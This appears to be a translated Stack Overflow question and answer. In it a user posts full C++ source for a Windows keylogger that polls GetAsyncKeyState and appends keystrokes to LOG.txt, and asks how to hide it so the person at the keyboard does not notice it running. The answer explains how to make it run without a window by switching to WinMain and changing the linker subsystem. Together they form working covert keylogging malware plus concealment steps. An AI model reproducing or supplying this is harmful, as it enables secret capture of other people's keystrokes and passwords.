如何在没有用户查找的情况下运行exe文件?

时间:2015-10-30 02:57:38

标签: c++

我为我的学校项目制作了一个简单的键盘记录器。它工作得很好,但每当我运行它时,任务栏上都会显示它的图标:

我想知道如何隐藏程序的运行。

#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
        return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE=fopen(file,"a+");
    cout<<key_stroke<<endl;
    if (key_stroke==VK_TAB
        ||key_stroke==VK_SHIFT
        ||key_stroke==VK_CONTROL
        ||key_stroke==VK_ESCAPE
        ||key_stroke==VK_END
        ||key_stroke==VK_UP
        ||key_stroke==VK_DOWN
        ||key_stroke==VK_HOME
        ||key_stroke==VK_LEFT
        ||key_stroke==VK_RIGHT
        )
        fprintf(OUTPUT_FILE,"%s \n","IG");
    else if (key_stroke==8)
        fprintf(OUTPUT_FILE,"%s","\b");
    else if (key_stroke==13)
        fprintf(OUTPUT_FILE,"%s","\n");
    else if (key_stroke==32)
        fprintf(OUTPUT_FILE,"%s \n"," ");
    else if (key_stroke==190 || key_stroke==110)
        fprintf(OUTPUT_FILE,"%s",".");
    else
       fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}
int main()
{
    char i;
    while (true)
    {
        for (i=8 ; i<190 ; i++)
        {
            if (GetAsyncKeyState(i)==-32767)
                Save(i,"LOG.txt");

        }
    }
    system("PAUSE");
    return 0;}

1 个答案:

答案 0 :(得分:0)

作为@Cheers和hth。 -Alf在评论中指出,你可以简单地创建一个没有窗口而不是控制台应用程序的GUI应用程序。由于您使用的是Windows,因此可以从以下位置更改代码:

int main()

为:

#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

您需要更改链接器选项。您可以按照answer provided (also by @Cheers and hth. -Alf) to this question

上的说明执行此操作
  

使用Visual C ++编译器,如果要从命令行进行编译,请添加选项

     

/link /subsystem:windows /entry:mainCRTStartup

     

如果您使用的是Visual Studio,请将子系统更改为Windows,并在链接器选项中将入口点更改为mainCRTStartup

对于CodeBlocks,一个非常快速的Google搜索显示以下answer

  
      
  1. 单击CodeBlocks菜单上的Project。
  2.   
  3. 单击“属性”。
  4.   
  5. 单击第二个选项卡Build Targets。
  6.   
  7. 在右侧,显示类型:控制台应用程序,将其更改为GUI应用程序。
  8.   
  9. 重建项目。
  10.   

您的申请将不再开窗。